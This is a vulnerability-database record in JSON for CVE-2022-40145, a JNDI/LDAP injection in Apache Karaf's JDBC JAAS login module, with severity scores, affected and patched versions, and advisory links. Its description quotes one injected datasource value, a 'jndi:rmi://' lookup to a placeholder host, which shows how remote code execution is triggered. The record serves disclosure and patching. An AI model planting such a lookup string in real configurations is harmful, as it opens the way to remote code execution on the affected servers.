{"id":"CVE-2022-40145","published":"2022-12-21T15:23:42Z","modified":"2025-04-15T18:03:47Z","title":"Apache Karaf: JDBC JAAS LDAP injection","vendor":"Apache","product":"Apache Karaf","tier":"tail","description":{"text":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","provenance":"source","from":"CVE.org"},"cvss":{"score":9.8,"severity":"CRITICAL","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","provenance":"source","from":"CISA ADP Vulnrichment"},"epss":{"score":0.02596,"percentile":0.85698,"provenance":"source"},"cwes":[{"id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component"},{"id":"CWE-20","name":"Improper Input Validation"}],"references":[{"url":"https://karaf.apache.org/security/cve-2022-40145.txt","tags":["vendor-advisory"]}],"priority":{"score":24.0,"factors":[{"name":"EPSS percentile","points":17.14},{"name":"CVSS severity","points":6.86}]},"vendorSlug":"apache","affectedVersions":[{"vendor":"Apache Software Foundation","product":"Apache Karaf","versions":[">= 4.4.0, < 4.4.2","< 4.3.8"]}],"ssvc":{"exploitation":"none","automatable":"yes","technicalImpact":"total","timestamp":"2025-04-15T18:02:30.458673Z","from":"CISA ADP","provenance":"source"},"affected":[{"ecosystem":"Maven","package":"org.apache.karaf:apache-karaf","vulnerableRanges":["<4.3.8",">=4.4.0, <4.4.2"],"patched":["4.3.8","4.4.2"],"from":["GHSA-c2p4-8mvv-rwmv"],"provenance":"source"}],"summary":{"text":"The JDBC JAAS login module in Apache Karaf fails to filter the JNDI datasource name passed to InitialContext.lookup in the JDBCUtils#doCreateDatasource function. An attacker who controls the target LDAP server referenced in a JNDI JDBC URL can trigger remote code execution when the affected configuration uses a JNDI LDAP data source URI, requiring no privileges or user interaction over the network.","provenance":"ai","model":"claude-haiku-5-5","generatedAt":"2026-11-20T06:36:42Z"},"euvd":{"id":"EUVD-2022-7591","exploited":false,"provenance":"source"},"lineage":{"packageHistory":[{"cve":"CVE-2018-11786","published":"2018-09-18","fixed":"4.2.0","kev":false},{"cve":"CVE-2019-0191","published":"2019-03-20","fixed":"4.2.3","kev":false},{"cve":"CVE-2022-22932","published":"2022-01-26","fixed":"4.3.6","kev":false,"link":{"from":"CVE-2022-22932","to":"CVE-2022-40145","relation":"successor","confidence":"low","kind":"sequence","evidence":[{"kind":"version-step","provenance":"source","package":"Maven:org.apache.karaf:apache-karaf","fromFixed":"4.3.6","toFixed":"4.3.8","daysApart":329}]}},{"cve":"CVE-2022-40145","published":"2022-12-21","fixed":"4.4.2","kev":false}],"package":"Maven:org.apache.karaf:apache-karaf"}}